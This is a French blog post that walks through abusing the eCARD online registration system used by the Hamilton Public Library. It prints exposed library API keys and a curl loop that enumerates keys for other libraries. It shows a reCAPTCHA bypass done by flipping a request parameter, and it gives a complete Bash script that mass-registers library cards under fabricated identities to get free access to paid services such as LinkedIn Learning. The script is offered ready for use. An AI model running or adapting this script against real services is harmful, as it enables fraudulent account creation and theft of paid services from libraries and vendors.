Je vais commencer par une petite mise en contexte pour simplifier la présentation de mon processus de recherche et d’exploitation.

A l’heure où j’écris mon article, je viens de lire cet article depuis mes flux RSS : https://www.ehackingnews.com/2021/09/payment-api-flaws-exposed-millions-of.html. Cet article est l’exemple type de ce que je dénonce depuis quelques temps à savoir les dev qui codent en JS comme ils le faisaient en PHP avec notamment la même façon de déclarer les variables sensibles type token, clé privée ou encore processus de debug via paramètres.

D’avance je préviens que je ne censurerai pas l’article pour le moment. Si jamais une entreprise visée par cet article me demandait de le retirer, je ne le ferais que pour la partie application et non pour la totalité de mon article. Pour le moment, l’article sera un peu de type A à Z, j’entends par là de la recherche à l’exploitation.

Librairie aux USA & Canada

Au début de ma recherche se trouve une info de mon réseau me disant que les libraries Nord-Américaines offriraient pas mal de services et notamment permetteraient d’avoir accès à des contenus en ligne de plateformes connues, sans compter des accès à des “e-libraries”. Forcément, ça donne envie de jeter un coup d’oeil à cet écosystème aussi bien sous l’aspect curiosité qu’exploitation.

Pour le reste de mon étude, j’ai choisi une librairie en particulier : https://hpl.ca/. Il s’agit de la plus grosse bibliothèque de la ville d’Hamilton, de la province d’Ontario au Canada. Alors pourquoi celle-ci? C’est celle que m’a donné mon réseau, tout simplement.

Pour pouvoir poursuivre l’analyse, j’ai donc tout naturellement pris une IP canadienne ( Tor avec un Exit Node CA marche très bien ) et de toronto pour simplifier les choses. La suite se passe ici : https://www.hpl.ca/online-registration.

L’inscription est simple, il suffit de prendre quelques données trouvées sur Google et le tour est joué, vous obtenez votre sésame :

Pour pouvoir activer votre compte, il suffit de vous connecter à votre espace : https://hpl.bibliocommons.com/user/login?destination=user_dashboard.

Quand vous avez NoScript d’actif, vous obtenez une jolie confirmation :

Dès lors, vous avez déjà accès à des services payants en toute gratuité : https://www.linkedin.com/learning.

Pour comprendre en quoi, suffit d’aller sur cette page pour comprendre que c’est un service payant : https://www.linkedin.com/learning/subscription/products

Mais maintenant on peut accèder à la plateforme gratuitement et en illimité pendant 1 an ( validité de la carte de bibliothèque sans renouvellement ), avec notre carte de bibliothèque : https://www.linkedin.com/learning-login/go/account/70820388

Pour les personnes dubitatives :

Et c’est un service parmi tant d’autres ;)

Industrialisation du process et eCARD

Quand on regarde les requêtes sur hpl, on se rend compte de suite que le pourvoyeur de l’authentification n’est autre que le système eCARD de Quipugroup dont le fichier le plus intéressant est : https://ecard-ca.quipugroup.net/Libraries/33/eCARDLibrary.js.

Bien sûr, tout de suite, on s’excite en voyant :

eCARD.libraryID = 33;
eCARD.libraryKey = "1beedc665027b4cbd4c78053fa113e0c";

Cela laisse présumer qu’en énumérant l’URL, on pourrait trouver d’autres librairies. En 5 secondes, on se fait notre petite boucle de test avec bash :

for i in {1..99}; do echo -e "\\e[1;95m""Librairie $i: https://ecard-ca.quipugroup.net/Libraries/$i/eCARDLibrary.js""\\e[0;0m"; curl -L -s "https://ecard-ca.quipugroup.net/Libraries/$i/eCARDLibrary.js"; done

Ce qui nous permet de trouver par exemple : https://ecard-ca.quipugroup.net/Libraries/11/eCARDLibrary.js.

Qui nous amène encore à :

eCARD.libraryID = 11;
//eCARD.libraryKey = "3cd09fbbfec3a8396bfcd642252cafda"; //Sierra selfreg
eCARD.libraryKey = "8ba43578bb5716705fc8108bd771edc5"; //Sierra API

C’est la 1ere étape du process d’industrialisation : on peut lister des librairies directement de cette façon sans avoir à perdre du temps en queries Google.

La suite laisse présumer que tout se passe directement depuis le JS ( logique ) :

var loadFormURL = eCARD.apiURL + "?method=loadForm&libraryID=" + eCARD.libraryID + "&libraryKey=" + eCARD.libraryKey + "&branchID=" + eCARD.branchID + "&ip=" + eCARD.ip + "&language=" + eCARD.language; 
var response;
addreCaptcha();  //eCARDMain.js

Le captcha c’est le problème de base de l’automatisation alors oui il existe 2captcha mais pourquoi payer la résolution quand on peut bypass purement et simplement le captcha…

Voyons voir :

//reCaptcha
ajaxData.reCaptcha = eCARD.reCaptcha;  //will be true or false and is passed as "true" or "false"
ajaxData.reCaptchaResponse = $('.g-recaptcha-response').val();

Il serait donc possible de bypass le captcha simplement avec un booléen précisé dans la requête en GET… Pourquoi résoudre un problème quand on peut le supprimer ;)

Faisons un petit essai avec ces données :

reCaptcha=true
reCaptchaResponse=true
eCARDFirstName="Olivia"
eCARDLastName="Taylor"
eCARDStreetResidence="52+Westaway+Pl"
eCARDPostalCodeResidence="L9C+2G1"
eCARDEmail="OliviaTaylor1984%40nvc-e.com"
eCARDDOBYear="1984"
eCARDDOBMonth="9"
eCARDDOBDay="21"
eCARDPassword="1984"

Ce qui donne pour ma requête de test :

curl -s -L "https://ecard-ca.quipugroup.net/ecardserver.php?beforeSend=off&dataType=json&method=register&language=en&libraryID=33&libraryKey=1beedc665027b4cbd4c78053fa113e0c&reCaptcha=true&reCaptchaResponse=true&eCARDEligibility=Resident&eCARDFirstName=Olivia&eCARDMiddleName=&eCARDLastName=Taylor&eCARDStreetResidence=52+Westaway+Pl&eCARDAptResidence=&eCARDCityResidence=Hamilton&eCARDStateResidence=ON&eCARDPostalCodeResidence=L9C+2G1&eCARDMailingSame=true&eCARDStreetMailing=&eCARDAptMailing=&eCARDCityMailing=&eCARDStateMailing=ON&eCARDPostalCodeMailing=&eCARDPhoneAreaCode=&eCARDPhonePrefix=&eCARDPhoneNumber=&eCARDEmail=OliviaTaylor1984%40nvc-e.com&eCARDDOBYear=1984&eCARDDOBMonth=5&eCARDDOBDay=06&eCARDAdult=true&eCARDNewsletter=N&eCARDBranchID_location=1&eCARDBranchID_selected=1&eCARDBranchID=1&eCARDGuardianFirstName=&eCARDGuardianLastName=&eCARDGuardianPhoneAreaCode=&eCARDGuardianPhonePrefix=&eCARDGuardianPhoneNumber=&eCARDGuardianEmail=&eCARDAltEmail=&eCARDPassword=1984&eCARDWorkSchoolName=" -H 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Origin: https://www.hpl.ca' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: https://www.hpl.ca/' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: cross-site' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' | jq .

J’utilise jq pour prettify le json.

et bien sûr, il me dit que j’ai besoin d’un captcha valide pour la requête :

Et maintenant, si je passe le paramètre reCaptcha de true à false, voici la réponse :

Il me valide la requête et je n’ai plus besoin de captcha. C’est sympa comme feature en vrai.

Note: Pour moi, au delà de l’erreur du paramètre c’est surtout oublier qu’un bon vieux code de debug pour escape les sécu en PHP ce n’est pas aussi sanctionné qu’en JS, du fait qu’en JS, tout le monde puisse lire et non pas seulement le serveur ;)

L’étape 2 est complète.

Pour la dernière étape, c’est assez simple puisque vous avez éventuellement pu constater qu’en l’absence de JS, les dev avaient laissé une version minimale de l’auth avec des requêtes simples et au nombre de 2 donc c’est vraiment trivial d’automatiser l’étape 3.

Scripting

J’ai choisi Bash pour ce PoC.

La structure est la suivante :

- lab_ecard
  \- resources
    \- address.txt
    \- names.txt
    \- surnames.txt
    \- user-agent.txt
  \- results
  \- generator.bash

Pour ce qui est des ressources, je ne vous donnerai que les 3ères lignes de chaque fichier et vous laisse le soin de complèter.

address.txt :

11 Rebecca|Hamilton|L8R 3H7
56 Rosslyn Ave S|Hamilton|L8M 3H9
250 Lawnhurst Crt|Hamilton|L8V 4R4

names.txt :

Liam
Olivia
William

surnames.txt :

Smith
Brown
Tremblay

user-agent.txt :

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

Et voici le script maintenant :

#!/bin/bash
# By Oletros

rndstr=`tr -dc 'A-Z0-9' < /dev/urandom | head -c 12`

if [ -e results/$dt.txt ]; then
	mv results/$dt.txt results/$dt-$rndstr.txt
fi

dt=`date +%Y-%m-%d`
year=`date +%Y`
adultyear=`echo "$year - 25" | bc`

rnd=`shuf -i 10000-99999 -n 1`

pseudo=`tr -dc 'A-Z0-9' < /dev/urandom | head -c 8`

totaladdress=`cat resources/address.txt | shuf -n 1`
address=`echo "$totaladdress" | cut -d'|' -f1 | tr ' ' '+'`
postal=`echo "$totaladdress" | cut -d'|' -f2 | tr ' ' '+'`

name=`cat resources/names.txt | shuf -n 1 | tr '[:lower:]' '[:upper:]'`
surname=`cat resources/surnames.txt | shuf -n 1 | tr '[:lower:]' '[:upper:]'`
useragent=`cat resources/user-agent.txt | shuf -n 1`

birthyear=`shuf -i 1950-$adultyear -n 1`
birthmonth=`shuf -i 1-12 -n 1`
birthday=`shuf -i 1-28 -n 1`

email="$name""$surname""$birthyear""$rnd""@nvc-e.com"

result=`curl -s "https://ecard-ca.quipugroup.net/ecardserver.php?beforeSend=off&dataType=json&method=register&language=en&libraryID=33&libraryKey=1beedc665027b4cbd4c78053fa113e0c&reCaptcha=false&reCaptchaResponse=&eCARDEligibility=Resident&eCARDFirstName=$name&eCARDMiddleName=&eCARDLastName=$surname&eCARDStreetResidence=$address&eCARDAptResidence=&eCARDCityResidence=Hamilton&eCARDStateResidence=ON&eCARDPostalCodeResidence=$postal&eCARDMailingSame=true&eCARDStreetMailing=&eCARDAptMailing=&eCARDCityMailing=&eCARDStateMailing=ON&eCARDPostalCodeMailing=&eCARDPhoneAreaCode=&eCARDPhonePrefix=&eCARDPhoneNumber=&eCARDEmail=$email&eCARDDOBYear=$birthyear&eCARDDOBMonth=$birthmonth&eCARDDOBDay=$birthday&eCARDAdult=true&eCARDNewsletter=N&eCARDBranchID_location=1&eCARDBranchID_selected=1&eCARDBranchID=1&eCARDGuardianFirstName=&eCARDGuardianLastName=&eCARDGuardianPhoneAreaCode=&eCARDGuardianPhonePrefix=&eCARDGuardianPhoneNumber=&eCARDGuardianEmail=&eCARDAltEmail=&eCARDPassword=$birthyear&eCARDWorkSchoolName=" -H "User-Agent: $useragent" -H "Accept: application/json, text/javascript, */*; q=0.01" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Origin: https://www.hpl.ca" -H "DNT: 1" -H "Connection: keep-alive" -H "Referer: https://www.hpl.ca/" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "Pragma: no-cache" -H "Cache-Control: no-cache"`

status=`echo "$result" | jq .status | cut -d'"' -f2`
if [ "$status" == "Failed" ]; then
	echo -e "\\e[1;91m""IP: FAILED""\\e[0;0m"
	exit 1
else
	echo -e "\\e[1;92m""IP: SUCCESS""\\e[0;0m"
fi

if [ "$result" != "" ]; then
	barcode=`echo "$result" | jq .eCARDRegistrants[].barcode | sed 's;";;g'`
	password=`echo "$result" | jq .eCARDRegistrants[].password | sed 's;";;g'`

	if [ "$barcode" != "" ] && [ "$password" != "" ]; then
		echo -e "\\e[1;92m""Creation Process: SUCCESS""\\e[0;0m"
		loginrequest=`curl -s -L 'https://hpl.bibliocommons.com/user/login?destination=user_dashboard' -H "User-Agent: $useragent" -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Referer: https://hpl.bibliocommons.com/user/login?destination=user_dashboard' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://hpl.bibliocommons.com' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-GPC: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw "utf8=%E2%9C%93&name=$barcode&user_pin=$password&local=false&commit=Log+In" -b /tmp/cookie_$rndstr.txt -c /tmp/cookie_$rndstr.txt`
		
		authenticitytoken=`echo "$loginrequest" | grep -Eo '<meta content="(.*)" name="csrf-token"' | cut -d'"' -f2`
		atue=`python3 -c "import urllib.parse, sys; print(urllib.parse.quote('$authenticitytoken'))"`
		
		saverequest=`curl -s -L 'https://hpl.bibliocommons.com/user/registration_save' -H "User-Agent: $useragent" -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Referer: https://hpl.bibliocommons.com/user/registration_save' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://hpl.bibliocommons.com' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-GPC: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data-raw "utf8=%E2%9C%93&authenticity_token=$atue&registration_type=ILS_BACKED&first_name=$name&last_name=$surname&user_email=$email&birth_month=$birthmonth&birth_year=$birthyear&color=Pick+a+Colour&animal=Pick+an+Animal&user_name=$pseudo&accept_terms=1&commit=Register&barcode=$barcode&user_pin=$password" -b /tmp/cookie_$rndstr.txt -c /tmp/cookie_$rndstr.txt`
		
		saveloggedin=`echo "$saverequest" | jq .logged_in | sed 's;";;g'`
		savesuccess=`echo "$saverequest" | jq .success | sed 's;";;g'`
		
		if [ "$saveloggedin" != "true" ] && [ "$savesuccess" != "true" ]; then
			echo -e "\\e[1;93m""Auto Registration Process: FAILED.\nYou need to complete registration manually by login here: https://hpl.bibliocommons.com/user/login?destination=user_dashboard""\\e[0;0m"
		else
			echo -e "\\e[1;92m""Auto Registration Process: SUCCESS""\\e[0;0m"
		fi
		
		finalresult="$barcode:$password|$email,$name,$surname,$birthyear,$birthmonth,$birthday|$pseudo|https://www.linkedin.com/learning-login/go/account/70820388"

		echo "$finalresult" >> results/$dt.txt
		
		echo -e "\\e[1;94m""~> $finalresult""\\e[0;0m""\n"
	else
		echo -e "\\e[1;91m""Creation Process: FAILED""\\e[0;0m"
	fi
fi

if [ -e /tmp/cookie_$rndstr.txt ]; then
	rm /tmp/cookie_$rndstr.txt
fi

exit 0

Les seuls paquets qu’ils devraient vous manquer sont bc et jq.

Vous aurez compris qu’il est possible de le faire avec d’autres librairies et simplement via l’enumération montré plus haut permettant la récupération de clé et du numéro de la librairie. Vous pouvez créer des comptes de manière quasi-illimitée… la limite étant dans le nombre de requêtes au serveur.

Le résultat escompté est :

IP: SUCCESS
Creation Process: SUCCESS
Auto Registration Process: SUCCESS
~> 22022100259017:1969|ALEXANDERGRANT196981484@nvc-e.com,ALEXANDER,GRANT,1969,2,17|Y4PXA0LQ|https://www.linkedin.com/learning-login/go/account/70820388

Enjoy ;)